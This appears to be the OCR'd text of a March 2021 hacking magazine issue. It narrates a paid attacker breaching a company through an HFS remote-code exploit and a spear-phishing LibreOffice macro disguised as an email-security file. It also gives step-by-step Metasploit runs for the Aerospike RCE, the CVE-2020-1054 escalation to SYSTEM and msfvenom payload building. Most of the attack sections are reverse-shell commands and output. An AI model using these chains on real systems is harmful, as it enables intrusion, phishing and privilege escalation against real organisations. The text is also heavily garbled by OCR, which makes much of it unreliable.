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Editor's Note

Edition 4 Issue 3
Hi Readers. We hope you are all awesome and safe amid the second wave
lof Covid 19. Welcome to the March Issue of the year 2021.
Times are uncertain. Just when we assume we are safe and secure, danger
strikes. The corona virus already took away one year from normal life and just
when everyone thought it is over., the second wave struck. It is same in the digi
-tal domain too. The Facebook data that was stolen in year 2019 is back again
ifor sale on some dark web forum. Beware of phishing and other hacking attack-
IS taking advantage of this breach.

Coming to our march 2021 Issue, we begin with a Real World Hacking
Scenario in which the target is behind a router or firewall. This is in continuation
lof the Real World Hacking Scenario of the January 2021 Issue in which the
ttacker system is behind a Router or firewall. Normally the targets behind a
Router or Firewall are not accessible to the external hackers. Our readers will
Isee two most common scenarios of how hackers gain access to the computer
Isystems behind a Router or Firewall.

In the Proxy Logon section, our readers will learn everything they need to
lknow about the Proxy Logon vulnerability. In The Art Of Sniffing section, our
Ireaders will learn how to sniff on images in a local LAN network. In this month's
|Hacking Lab section, readers will learn how to create a Windows Domain Activ-
le Directory Lab which will be used in our future Issues.

We are back with the popular Bypassing Antvirus section in which our
Ireaders will be learning about another tool that would help penetration testers in
Ibypassing antivirus. That's all readers. Until we are back with a Real World
IHacking Scenario in our April 2021 Issue, enjoy the present Issue.

o.kww

“BAD ACTORS WILL CERTAINLY USE THE INFORMATION FOR SOCIAL ENGINEERING,
SCAMMING, HACKING AND MARKETING,"

- TWITTER HANDLE "ALON GAL".
CO - FOUNDER, HUDSON ROCK
ON THE RECENT FACEBOOK DATA BREACH
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WHEN TARGETS ARE BEHIND ROUTER OR FIREWALL \

REAL WORLD HACKING SCENARIO

In our January 2021 Issue, readers have learnt about a hacking scenario in which
the Attacker system is placed behind a Router or Firewall. In this hacking scenario,
readers have seen two cases of gaining a shell on the target with attacker system behi
-nd the router or firewall. In the first case, it was a bind Shell and in the second case it
was a reverse shell.

In this month's Real World Hacking Scenario, readers will see a scenario in which
the target system is behind a Router or Firewall with the attacker system directly conn
-ected to internet.You will see two common cases of how hackers gain access to targ
\_-ets which are located behind a Router or Firewall.

v

|

Scenario 1
Exposed Services

It was year 2016. A hacker is scanning the internet using Nmap to find out any LIVE systems.
After scanning for some time he finds one LIVE system.

Lo

192.168.36.140-160 110
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-11 05:33 EDT
Nmap scan report for 192.168.36.154
Host 1s up (0.00048s latency).
MAC Address: 00:0C:29:81:A9:A0 (VMware)
Nmap done: 21 IP addresses (1 host up) scanned in 1.60 seconds

e decides to scan for any open ports on this particular Target.

Pl

192.168.36.154
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-11 05:32 EDT
Nmap scan report for 192.168.36.154
Host 1s up (0.00085s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
81/tcp open hosts2-ns
MAC Address: 00:0C:29:81:A9:A0 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 19.10 seconds

After performing TCP connect scan using Nmap, he found one open port on the target. Next
he performed a verbose scan to get more information about the target. The verbose scan re-
ealed the name of the service running on port 81. It is HttpFileServer. It also revealed that
he target opening system is Windows.
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192.168.36.154
Starting Nmap /7.91 ( https://nmap.org ) at 2021-04-11 05:34 EDI
Nmap scan report for 192.168.36.154
Host 1s up (0.0006/s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
81/tcp open http HttpFileServer httpd 2.3
MAC Address: 00:0C:29:81:A9:A0 (VMware)
Service Info: 0S: Windows:; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results a
t https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 18.52 seconds

After Googling for some time, he found that the HttpFileServer referred to Rejetto HT TP File
Server, also called as hFS. HFS is an open source file sharing server which unlike other File
Sharing Software uses HT TP protocol. After some more research he also found that the vers
ion of HFS running on the target is vulnerable to a remote code execution vulnerability.

Searching on Searchsploit listed one exploit related to this particular vulnerability. Although
here was an updated version which is secure, it seems the software was not updated. The
hacker also assumed that the target organization is not aware of the vulnerability.

httpfileserver

Shellcodes: No Results

After a short search, the hacker also found a Metasploit module for this vulnerability. Since
Metasploit is more stable, he decided to use Metasploit.

msf6 > search rejetto

Matching Modules

Disclosure Date Rank

exploit/windows/http/rFejetto _hfs_exec 2014-09-11
Yes Rejetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example
or
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He loaded the rejetto _hfs exec module.

msf6 > use 0
Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/rejetto hfs exec) > show options

Module options (exploit/windows/http/rejetto_hfs_exec):

Name Current Setting Required Description

HTTPDELAY 10 Seconds to walt before
terminating web server

Proxies A proxy chain of format

type:host:port[,type:h
ost:port][...]

RHOSTS The target host(s), ran
ge CIDR identifier, or
hosts file with syntax
"file:<path>'

RPORT The target port (TCP)

SRVHOST The local host or netwo
rk interface to listen
on. This must be an add
ress on the local machi
ne or 0.0.0.0 to listen
on all addresses.

SRVPORT The local port to liste
n on.

SSL Negotiate SSL/TLS for o
utgoing connections

SSLCert Path to a custom SSL ce
rtificate (default is r
andomly generated)

TARGETURI / The path of the web app
Lication

URIPATH The URI to use for this

ndom )
VHOST HTTP server virtual hos
t

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted
: "', seh, thread, proce
SS, none)

LHOST 192.168.36.171 yes The listen address (an 1
nterface may be specifie
d)

LPORT 4444 yes The Listen port
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He set all the options and although the check command failed to verify the vulnerability of the
arget, he executed the module to successfully gain a meterpreter session on the target.

msf6 exploit(windows/http/rejetto hfs exec) > set rhosts 192.168.3

6.154

rhosts => 192.168.36.154

msf6 exploit(windows/http/rejetto hfs exec) > set rport 81

rport => 81

msf6 exploit(windows/http/rejetto_hfs_exec) > check
192.168.36.154:81 - The service 1s running, but could not be v

alldated.

msf6 exploit(windows/http/rejetto hfs exec) > §

e e

msf6 exploit(windows/http/rejetto hfs exec) > run

Started reverse TCP handler on 192.168.36.171:4444

Using URL: http://0.0.0.0:8080/GIlmlbLGb6s

Local IP: http://192.168.36.171:8080/GlmlbLG6s

Server started.

Sending a malicious request to /
/usr/share/metasploit-framework/modules/exploits/windows/http/reje
tto_hfs_exec.rb:110: warning: URI.escape 1s obsolete
/usr/share/metasploit-framework/modules/exploits/windows/http/reje
tto_hfs_exec.rb:110: warning: URI.escape is obsolete

Payload request received: /GlmlbLG6s

Sending stage (175174 bytes) to 192.168.36.154

Meterpreter session 1 opened (192.168.36.171:4444 -> 192.168.3
6.154:18583) at 2021-04-11 05:42:47 -0400

Server stopped.

[!] This exploit may require manual cleanup of "STEMP%\RrmdxNuVFK.

[!] This exploit may require manual cleanup of 'STEMP%\RrmdxNuVFK.
vbs' on the target

meterpreter >
[!] Tried to delete STEMP%\RrmdxNuVFK.vbs, unknown result

meterpreter > sysinfo

Computer : WIN-DHHO9GHG6LS5SP

0S : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x86

System Language : en_US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : X86/windows
meterpreter > getuid

Server username: WIN-DHHO9GH6L5SP\admin
meterpreter > |}

hen he ran the ipconfig command, he realized that the target he hacked was running
indows 7 and it was on a different network.
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meterpreter > ipconfig

Interface

Hardware MAC
MTU

I1Pv4 Address
IPv4 Netmask
IPv6 Address
IPvb Netmask

Interface 11

Hardware MAC
MTU

IPv4 Address
IPv4 Netmask
IPv6 Address
IPv6 Netmask

Interface 12

Hardware MAC

: Software Loopback Interface 1
: 00:00:00:00:00:00

: 4294967295

: 127.0.0.1

255.0.0.0

2P |
FEFfeffffeffffeffffeffff:ffff:ffff:ffff

Intel(R) PR0O/1000® MT Network Connection

00:0c:29:dd:9d:b5

1500

10.10.10.5

255.0.0.0
fe80::38af:82bf:c967:250b
ffff:ffff:ffff:ffff::

Microsoft ISATAP Adapter
00:00:00:00:00:00

MTU 1280
This is how this hack looked on the target side.
r
#8 HFS ~ HTTP File Server 2.3 Build 288
&4 Menu 7 Port: 81 €. You are in Easy mode
0'.:prr\m browser http://10.10.10.5:81
Virtual File System Log
W Check update failed
Requested GE
Requested GET
60 Requested GET
"0 Requested GET
Requested GE |
IP address = Htatus
Out: 0.0 KB/s In: 0.0 KB/s

w

Speed

Wels

Time

y to chipboard

Progress
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[ |

88 HFS ~ HTTP File Server 2.3 Build 288 o | e
& Menu | ) Port:81 | @i You are in Easy mode
o Open in browser http://10.10.10.5:81 Copy to chipboard
Virtual File System Log
|
' 10424 PM 192 168 36 17149070 Requested GET / - |
104 24 PM 192 168 36 171 49072 Requested GET / |
12.32 PM 192 168 36 171 44345 Requested GET /
19 10 PAA 19 1

p A 192 168 36 171 37297 Requested GET /?search=> On Ermor Res
> x Open "GET" "http /192 168 36 171 8080/GIm1blL.G6s" False

> wsh exit
» End If
> X Send
> Execute x responselext )
12 41 PM 192 168 36 171 42315 Requested GET /?search=

i 1] ¥

w8 1P address File Status Speed Time.. Progress

Out: 00 KB/s In: 0.0 KB/s
—

Scenario 2
Macros

IA hacker was paid to hack into a company named Dharayu Pvt Ltd. After performing informat
-ion gathering for a week, the information he gathered included email address of some of th-
leir users. Deeming this information is not enough, he began to perform further reconnaissan-
ice. The break came with the company's website. He found the company's Terms and Conditi
-ons on their website in PDF format.

C OISR WY TERRAT A ND

CONDTIONS - Dy
2 BNIT

COMPANY TERMS AND
CONDITIONS - DHARAYU

PvT LTD

AGREEMENT TO TERMS

Mese larrme and Condfore costise a legaly ndng agreame 't mad ¢ Defw oo you

wethear pemonaly oronbealf o anaty [ you |and Uhamyy Pt L] (e U O o

DN NG yOuUr om0 andum O e sorvoes O ourcomp arTy as wol! an oy e r meaa
o FeEla e Fale v 3% OF Molde ap ok o ralaies] e oF Ofey sl e
TN necied el colie@valy Te S
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hen he looked if the PDF file had any metadata, he found that the PDF file was produced
by libreoffice version 6.1.

Metadata Info Of Your File

EBOOK . EDIT

Libre Office is an open source word processor like Microsoft Word. Although not as popular a
-s Microsoft Word, Libre office is used by many organizations due to its ease of use and ope-

n source nature.
There were no exploits available for this particular version of Libreoffice in Searchsploit

So it doesn't have any vulnerabilities to exploit.

i~

Libreoffice

e Versio multiple/remote/46544.py
- Memory Co multiple/dos/18754.php

.rtf' File windows/dos/18940.php

- "=WEBSERV Linux/remote/44022.md

/ 6.1.3 - M multiple/local/46727.rb
Macro - Pyt multiple/remote/47298.rb
ice - '.odt windows/local/44564.py

Shellcodes: No Results

Since the hacker had information about a software used on the target network and emails of
some employees of the target company, he decided to use macros to try to gain access on t-
he target network. Macros are scripts used by word processors like Microsoft Word to autom-
late tasks.

Although macros are normal scripts useful for benign purposes like repeating actions, ha-
iIckers have used them for hacking into systems. There are chances of antivirus failing to dete
-ct macros. Hacking through Macros is so powerful that Metasploit also included a module to

Icreate macros.
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he hacker decided to use Metasploit to create a macro. However, although he knew Libre
Office was being used by the target company, he had no knowledge about the Operating sys
tem being used. Libre office runs both on Windows and Linux operating systems.

msfb6 > use exploit/multi/fileformat/libreoffice_macro_exec
No payload configured, defaulting to windows/meterpreter/rever
se_tcp
msf6 exploit(multi/fileformat/1libreoffice macro exec) > B
e |
msf6 exploit(multi/filleformat/Libreoffice macro exec) > show targe
ts

Exploit targets:

Id Name

0] wWindows
1 Linux

msf6 exploit(mu

So he decided to generate macros for both Windows and Linux. Metasploit modules take the

indows/meterpreter/reverse_tcp payload by default. He changed the payload to windows/
meterpreter/reverse http. He did this because many organizations block all outgoing traffic
except that of HTTP for accessing web.

Payload options (windows/meterpreter/reverse_tcp):

Current Setting Required Description

EXITFUNC process Exit technique (Accepted
: "', seh, thread, proce
SS, none)

LHOST 192.168.36.171 ves The listen address (an 1
nterface may be specifie
d)

LPORT 4444 yes The lListen port

**DisablePayloadHandler: True (no handler will be created! )**

msf6 exploit(multi/fileformat/Libreoffice macro exec) > set payloa
d windows/meterpreter/reverse_http

payload => wLndowS/meterpreter/reverse http

msf6 exploit(n fileformat/libreoffice macro exec) > B

he windows/meterpreter/reverse http payload will bring him a shell even if his target is behi
nd a firewall unlike the windows/meterpreter/reverse tcp payload. After making that required
onfigurations, he executed the module to get the ODT payload. ODT is the native file exten
sion of the Libre office.
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msfe exploit(multi/fileformat/Libre« Lce macro exec) > show optio
ns

Module options (exploit/multi/fileformat/Libreoffice_macro_exec):

Name Current Setting Required Description

FILENAME Llibrefile.odt OQutput file name

SRVHOST 0.0.0.0 yes The local host or networ
K interface to listen on

This must be an addres

s on the local machine o
r 0.0.0.0 to listen on a
L1 addresses.

SRVPORT The local port to listen
on.

SSL Negotiate SSL for incomi

URIPATH The URI to use for this
exploit (default is rand
om)

Payload options (windows/meterpreter/reverse_http):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted
: "', seh, thread, proce
sS, none)

LHOST 192.168.36.1/71 The local listener hostn
ame

LPORT 4444 The local listener port

LURI The HTTP Path

msfé exploit(multi Lleformat/Libreoffice macro _exec) > run

Librefile.odt stored at /home/kall/ msfd4/local/librefile.odt
fo exploit(multi/fileforn LibreoffTice macro exec) > .

He changed the name of the file to secure your email.odt and added some email security tip
s to the file without altering the macro.

Since the hacker had email address of some of the employees in the company dharayu,
his plan is to send a spear phishing email to those employees with the secure your email.
odt attachment to convince them to open the attachment so that his malicious payload can
execute on the target system to give hime a shell.

Before he sent the mail, he started a Metasploit listener to catch the incoming meterpr-
eter session.
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msfb > use exploit/multi/handler
Using configured payload windows/meterpreter/reverse_tcp
mstTo exploit(multi/handler) > set payload windows/meterpreter/reve
rse_http
payload => windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_http):

W ETNE Current Setting Required Description

EXITFUNC process Exit technique (Accepted
: '", seh, thread, proce
§ss, none)

LHOST 192.168.36.171 The local listener hostn
ame

LPORT back The local listener port

LURI The HTTP Path

IOn the target side, one of the employees was checking his Inbox.

il

The subject of the mail was saying that his email was exposed in a data breach. He was wor
-ried. The mail also offered a proverbial carrot by asking him to secure his email now and the
-n. He saw the attachment. It was a ODT file with name "secure your email.odt". This looke-
d convincing. He immediately opened the ODT file.
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O 05 49 AM
The recent Data Breach exposed your emal Secsr
Emad st usenny, Ao |ree Mad Seyves it ) jww

After a short time, the hacker sent the spear phishing email, he got a meterpreter session tha

t eventually got closed. Shortly thereafter, he got a second stable meterpreter session from
Windows system.

msf6 exploit(multi/handler) > run

Started HTTP reverse handler on http://192.168.36.171:4444

http://192.168.36.171:4444 handling request from 192.168.36.15
4; (UUID: dmxmvhch) Staging x86 payload (176220 bytes) ...

Meterpreter session 1 opened (192.168.36.171:4444 -> 192.168.3
6.154:6620) at 2021-04-06 20:52:59 -0400

i
meterpreter > getuild
Unknown command: getuid.

meterpreter > Interrupt: use the ‘exit' command to quit
meterpreter > exit

192.168.36.154 - Meterpreter session 1 closed. Reason: User e
X1t
msf6 exploit(multi/handle;
msf6 exploit(multi ndl

Started HTTP reverse handler on http://192.168.36.171:4444

http://192.168.36.171:4444 handling request from 192.168.36.15
4; (UUID: bitudbkw) Staging x86 payload (176220 bytes) ...

Meterpreter session 2 opened (192.168.36.171:4444 -> 192.168.3
©6.154:14998) at 2021-04-06 20:57:16 -0400

..
msf6 exploit(multi/handler) > sessions -1 2
Starting interaction with 2...

meterpreter > sysinfo
Computer : WIN-DHHOGHG6L5SP

0S : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x86

System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x86/windows
meterpreter >
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hen he ran the post/windows/gather/enum_applications module to see the applications inst
alled on the target system he found that there was an antivirus installed on the target system.

; sfb > use post/wlndows/gather/enum appllcatlons
m5f6 post(windo gather/enum applications) > show options

Module options (post/windows/gather/enum_applications):

Name Current Setting Required Description

SESSION The session to run this m
odule on.

msfbh post(windows/gather/enum applications) > .

msTo6 post(windows/gather/enum applications) > set session 2
session => 2

msf6 post(windows/gather/enum applications) > run

Enumerating applications installed on WIN-DHHO9GH6L5SP

Installed Applications

Version

Avast Free Antivirus 21.2.2455
Druva inSync 6.5.2 £6.5.2.0
FileZilla Client 3.53.1 3.93:3

Google Chrome 89.0.4389.114
Google Update Helper 1.3.36.51

LibreOffice 6.1.2.1 D.1.2.13

These were the two hacking scenarios in which the target is placed behind a router or firewal

WHAT'S NEW - PARROT OS 4.11

e
N

The latest version of Parrot Security OS, the parrot security 4.11 has been released rec
-ently. This version comes with Linux kernel 5.10 by default and it will be soon updated to
kernel 5.11. This kernel upgrade provides better hardware support. The makers have also re
-moved broken, unused tools and updated their metapackages. Metasploit has been updated
to 6.0.3 6 from 6.0.0 in the previous version and it will be updated weekly starting from this
release. Routersploit has been updated to work with Python 3.9. Better cap has been update
-d to 2.29. Pompem, exploit and vulnerability finder has been patched to work with wpvuindb.
With this release, Parrot OS finally depreciated python 2.7. Now, the default version of pytho-
nis Python 3. Go has been updated to 1.15 and the default GCC version is 10.2.1. New she
-lls, Fish and Zsh have been added. The security of the operating system has also been upd

-ated. also being updated. Xspy is no longer executable. The look of KDE plasma desktop
environment is also improved and XFCE has been updated and fixed.
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Aerospike, Win32k DrawlconEX and Windows POST VSS Modules

L METASPLOIT THIS MONTH

IWelcome to the third Metasploit This Month feature of this year. Let us learn about the latest
lexploit modules of Metasploit.

Aerospike Database UDF Lua CE Module

TARGET: Aerospike < 5.1.0.3 TYPE: Remote Module: Exploit
ANTI-Malware : NA

rﬂ\erOSpike IS an row oriented in memory open source NoSQL Database built for Linux. The a-
bove mentioned versions of Aerospike allow user-defined functions to call the 'os.execute'’
Lua function. This module exploits this vulnerability to execute remote code on the target and
igain shell with the privileges of the user running the aerospike service.

We have tested this exploit module on aerospike community version 5.0.0.10 runn
-ing on Ubuntu 18. Let's set the target first. Download the zip archive of aerospike and extrac

-t its contents as shown below. The download information of aerospike is given in our Downl-
pads section.

useri@ubuntu: B

useri@ubuntu:~/I | 1sS gunzip aerospike-server-community-5.0.0.10-ubuntul8.o4
.tgz
userli@ubuntu:~/Downl S 1s

useri@ubuntu: | N | S l
userli@ubuntu:~/I dsS 1s

useri@ubuntu:~/Doi 1sS tar xvf aerospike-server-community-5.0.0.10-ubuntuls.®
4.tar

aerospike-server-community-5.0.0.10-ubuntuls8.o04/
aerospike-server-community-5.0.0.10-ubuntul8.04/SHA256S5UMS
aerospike-server-community-5.0.0.10-ubuntul8.04/aerospike-server-community-5.0.0
.10.ubuntul8.04.x86 64.deb
aerospike-server-community-5.0.0.10-ubuntul8.04/aerospike-tools-3.26.2.ubuntuls.
04.x86 64.deb

aerospike-server-community-5.0.0.10-ubuntul8.04/LICENSE
aerospike-server-community-5.0.0.10-ubuntul8.f04/asinstall

aerospike-server-community-5.0.0.10-ubuntul8.04/dep-check
userl@ubuntu: | ' 155 I

Navigate into the aerospike directory.

useri@ubuntu: Lloads$S cd aerospike-server-community-5.0.0.10-ubuntuls8.o4

useri@ubuntu: 4S s
dep-check
LICENSE
asinstall SHA2565UMS

vnesari18ubuntu:

1S .
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e tried installing it the traditional way but that didn't work.

userli@ubuntu:

fasinstall

[ sudo] password for useri:

Checking dependencies

Installing tools

dpkg -1 aerospike-tools-3.26.2.ubuntul8.04.x86 64.deb

Selecting previously unselected package aerospike-tools.

(Reading database ... 125928 files and directories currently installed.)
Preparing to unpack aerospike-tools-3.26.2.ubuntulB8.04.x86 64.deb
Unpacking aerospike-tools (3.26.2)

dpkg: dependency problems prevent configuration of aerospike-tools:
aerospike-tools depends on python; however:
Package python is not installed.

dpkg: error processing package aerospike-tools (--install):
dependency problems - leaving unconfigured
Errors were encountered while processing:
aerospike-tools
Installing server
dpkg -1 aerospike-server-community-5.0.0.10.ubuntul8.04.x86 64.deb
Selecting previously unselected package aerospike-server-community.
(Reading database ... 125965 files and directories currently installed.)
Preparing to unpack aerospike-server-community-5.0.0.10.ubuntul8.04.x86 64.deb

Unpacking aerospike-server-community (5.0.0.10-1)
dpkg: dependency problems prevent configuration of aerospike-server-community:
aerospike-server-community depends on python; however:
Package python is not installed.

dpkg: error processing package aerospike-server-community (--install):
dependency problems - leaving unconfigured

Errors were encountered while processing:
aerospike-server- communlty

u50rl¢ubuntu | " )ds /a

useri@ubuntu:~/Downloads/aero: ke-sery ~-communit

pkg -1 aerospike- tools 3 26.2. ubuntulB 04.x86 04 deb

(Reading database ... 126008 Tiles and directories currently installed.)
Preparing to unpack aerospike-tools-3.26.2.ubuntul8.04.x86_64.deb
Unpacking aerospike-tools (3.26.2) over (3.26.2)
dpkg: dependency problems prevent configuration of aerospike-tools:
aerospike-tools depends on _pvthon. however:

Package python is not installed.

dpkg: error processing package aerospike-tools (--install):
dependency problems - leaving unconfigured

Errors were encountered while processing:
aerospike-tools

useri@ubuntu:~/Downloads/aerospike

It seems python is not installed. We run command apt --fix-broken install command and then
install python using command apt-get install python command. After python is installed, we r-
an the installation commands again. The installation commands are shown in the image give
n below.
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useri@ubuntu:~/Downloads/aerospike-server-community-5.0.0.10-ubuntuls.

dep-check

LICENSE
asinstall SHAZ2565UMS
useri@ubuntu:~/Downloa« yerospike-server-community-5.0.0.10-ubuntulg.04sS sudo d
pkg -1 aerosplke tools 3 26.2.ubuntul8.04.x86 64.deb
(Reading database ... 126119 files and directories currently installed.)
Preparing to unpack aerospike-tools-3.26.2.ubuntulB8.04.x86 64.deb
Unpacking aerospike-tools (3.26.2) over (3.26.2)
Setting up aerospike-tools (3.26.2)
Installing /opt/aerospike
Writing /usr/local/lib/python2.7/dist-packages/aerospike.pth
Adding python path /opt/aerosptke}lib/python
useri@ubuntu:~/Downloads/aerospike-server-community-5.0.0.10-ubuntuig.o4s$ §
ot = - O e s e et e el e O e D e = et s == S il
useri@ubuntu:~/Downloads/aerospike-server-community-5 ).10-ubuntul8.04S sudo d
pkg -1 aerospike-server-community-5.0.0.10.ubuntuls. 64 xBo 64.deb
(Reading database ... 126119 files and directories currently installed.)
Preparing to unpack aerospike-server-community-5.0.0.10.ubuntul8.04.x86 64.deb

Unpacking aerospike-server-community (5.0.0.10-1) over (5.0.0.10-1)
Setting up aerosplke server-community (5.0.0.10- 1) .
useri@ubuntu:~/Downloads/aerospike-server-community

userli@ubuntu:~/Downloas
ervice aerospike start
useri@ubuntu:~/Downloads/

he target is ready. Let's see how this exploit module works. We load the aerospike module
as shown below.

msf6 > search aerospike

Matching Modules

Disclosu
re Date Rank Check Description

@ exploit/linux/misc/aerospike database_udf_cmd_exec 2020-07-
Yes Aerospike Database UDF Lua Code Execution

Interact with a module by name or index. For example
or

msf6 >

. # } |
7 e ; i §
0 f I I 4 P r ¥
i [ . i
i ]
/ f } f f f
¥
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msfé > use 0

Using configured payload cmd/unix/reverse
msf6 exploit(linux/misc/aerospike database udf cmd exec) > show op
tions

Module options (exploit/linux/misc/aerospike _database udf _cmd_exec
) :

Name Current Setting Required Description

RHOSTS The target host(s), range
CIDR identifier, or host
s file with syntax "file:
<path>'

RPORT The target port (TCP)
SRVHOST The local host or network
interface to listen on.

This must be an address o
n the local machine or 0.
0.0.0 to listen on all ad
dresses.,

SRVPORT The local port to listen
on.

SSL Negotiate SSL for incomin
g connections

SSLCert Path to a custom SSL cert
ificate (default is rando
mly generated)

URIPATH The URI to use for this e
xploit (default is random

)

Payload options (cmd/unix/reverse):

Name Current Setting Required Description

LHOST The listen address (an inte
rface may be specified)
LPORT 4444 The listen port

Exploit target:

Id Name

0] Unix Command

e set all the required options and use the check command to verify if the target is indeed v-
ulnerable. After all the options are set and if the target is vulnerable, execute the module as
shown below.
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msf6 exploit(linux/misc/aerospike database

st 192.168.36.1/1

Lhost => 192.168.36.171

mstfo6 exploit(linux/misc/aerospilke database udf cmd exec) > run

Started reverse TCP double handler on 192.168.36.171:4444

192.168.36.150:3000 - Executing automatic check (disable AutoC
heck to override)

[+] 192.168.36.150:3000 - The target appears to be vulnerable.
192.168.36.150:3000 - Sending payload (128 bytes) ...
192.168.36.150:3000 - Creating UDF 'pwkGiCJhnditXC. lua'
Accepted the first client connection...

Accepted the second client connection...
Command: echo 6dV8z/dCKFWbx81lt;

Writing to socket A

writing to socket B

Reading from sockets...

Reading from socket B

B: "6dV8z7dCKFWbx81t\r\n"

Matching...

A 1s input...

Command shell session 1 opened (192.168.36.171:4444 -> 192.168
.36.150:48484) at 2021-03-25 20:53:23 -0400

id

uid=0(root) gid=0(root) groups=0(root)
uanme -a

sh: 6: uanme: not found

dname -a

Linux ubuntu 4.15.0-29-generic #31-Ubuntu SMP Tue Jul 17 15:39:52
UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

his should give readers a command shell on the target. As we ran aerospike with root privil-
eges, we have a command shell with root privileges.

Win32k DrawlconEx OOB Write LPE Module

TARGET: Windows 7 x64 1YPE: Local Module: Exploit
ANTI-Malware : NA

here is a DrawlconEx function in Windows that is used to draw an icon or cursor into the sp
ecified device context, performing the specified raster operations and stretching or compres-
iIng the icon or cursor as specified. To understand this exploit, you also need to understand
hat is CVE-2020-1054. Common Vulnerabilities and Exposures 2020 1054 is a privilege es-
alation vulnerability in Windows that originates in Win32k. This module exploits an out of bo
unds write reachable from DrawlconEx within win32k. Using this vulnerability an attacker ca-

n write to kernel memory of the operating system thus gaining code execution as the
SYSTEM user.
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e tested this exploit on a Windows 7 SP1 64 bit target. The offsets need to be changed for
his exploit to work with other operating systems. Start a Metasploit listener as shown below.

Using configured payload generic/shell _reverse tcp
payload => windows/x64/meterpreter/reverse_tcp
Lhost => 192.168.36.171
Llport => 4444
ExitOnSession => false
Exploit running as background job 0.
Exploit completed, but no session was created.

Started reverse TCP handler on 192.168.36.171:4444
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > B

Once the listener Is ready, create a payload with same settings using msfvenom.

ot

windows/x64/meterpreter/reverse_tcp lhost=192.168.
36.171 1lport=4444 exe shell.exe
(-] No platform was selected, choosing Msf::Module::Platform: :Wind
ows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes

Move this payload to the target system and execute and we should have a meterpreter sessi
on with low privileges on the target.

Using configured payload generic/shell_reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
Lhost => 192.168.36.171
Lport => 4444
ExitOnSession => false
Exploit running as background job 0.
Exploit completed, but no session was created.

Started reverse TCP handler on 192.168.36.171:4444
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) >

Sending stage (200262 bytes) to 192.168.36.183

Meterpreter session 1 opened (192.168.36.171:4444 -> 192.168.3
6.183:49169) at 2021-03-25 12:47:37 -0400

e
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Sending stage (200262 bytes) to 192.168.36.183
Meterpreter session 1 opened (192.168.36.171:4444 -> 192.168.3
6.183:49169) at 2021-03-25 12:47:37 -0400

mst6 exploit(multi/handler) > sessions

Active sessions

Information Connection

meterpreter x64/ WIN-JUOC99C2Q55\ 192.168.36.171:4
windows admin @ WIN-JUOC 444 -> 192.168.3
99C20Q55 6.183:49169 (192

.168.36.183)

msf6 exploit(multi/handler) > §

Load the exploit/windows/local/cve 2020 1054 drawiconex Ipe module.

msfb6 exploit(multi/handler) > search cve_2020_1054_drawiconex_1lpe

Matching Modules

Disclosu
re Date Rank Check Description

exploit/windows/local/cve 2028 1054 drawiconex Llpe 2020-02-
20 normal Yes Microsoft Windows DrawlconkEx OOB Write Loc
al Privilege Elevation

e e e e e ———————————————————————————— —
msf6 exploit(multi/handler) > use 0
No payload configured, defaulting to windows/x64/meterpreter/r
everse_tcp
msf6 exploit(windows/local/cve 2020 1054 drawiconex 1lpe) > show op
tions

Module options (exploit/windows/local/cve_ 2020 _1054 drawiconex_Llpe
) 3

Name Current Setting Required Description

PROCESS notepad.exe Name of process to spawn
and inject dll into.
SESSION The session to run this m

odule on.
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Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted
: "', seh, thread, proce
sS, none)

LHOST 192.168.36.171 yes The listen address (an 1
nterface may be specifie
d)

LPORT 4444 yes The listen port

Set the SESSION 1D of the first meterpreter session and use the check command to verify if
he target is vulnerable.

msf6 exploit(windows/local/cve 2020 1054 drawliconex 1lpe) > set ses

sion 1

session => 1

msf6 exploit(windows/local/cve_2020_1054 drawiconex_1lpe) > check
The target appears to be vulnerable.

msfo exploit(wi ws/local/cve 2020 1054 drawiconex lpe) > B

msf6 exploit(windows/local/cve 2020 1054 drawiconex 1lpe) > exploit
-]

Exploit running as background job 1.
Exploit completed, but no session was created.

Started reverse TCP handler on 192.168.36.171:4455
Executtng automatic check (disable AutoCheck to override)

msT6 exp101t( ows/local/cve 2020 1054 drawiconex lpe) >

|+] The target appears to be vulnerable.

Launching notepad.exe to host the exploit..
|+] Process 1628 launched.

Injecting exploit into 1628 ...

Exploit injected. Injecting payload into 1628...

Payload injected. Executing exploit...

Sending stage (200262 bytes) to 192.168.36.183

Meterpreter session 3 opened (192.168.36.171:4444 -> 192.168.3
6.183:49171) at 2021-03-25 12:56:26 -0400

msf6 exploit(windows/local/cve 2020 1054 drawiconex 1lpe) > session
s -1 3
Starting interaction with 3..

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Meterpreter s g
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IAfter a few misses, we got a new meterpreter session with SYSTEM privileges as shown in
the above image.

Windows POST VSS Module

TARGET: Windows TYPE: Local Module: POST
ANTI-Malware : NA

IVSS stands for Volume Shadow copy Service. VSS is a backup service in Microsoft Window-
S that provides the framework for creating volume backups and for creating consistent, point-
in-time copies of data. These copies of data are known as shadow copies. Hence Volume Sh
-adow Copy Service is also known as Shadow Copy Service. This was introduced in Window
-S XP.

This exploit module is based on VSSOwn Script and will perform management actions for
Volume Shadow Copies on the system. To use this POST module, we need to have a sessio
-n with SYSTEM privileges and outside the UAC.

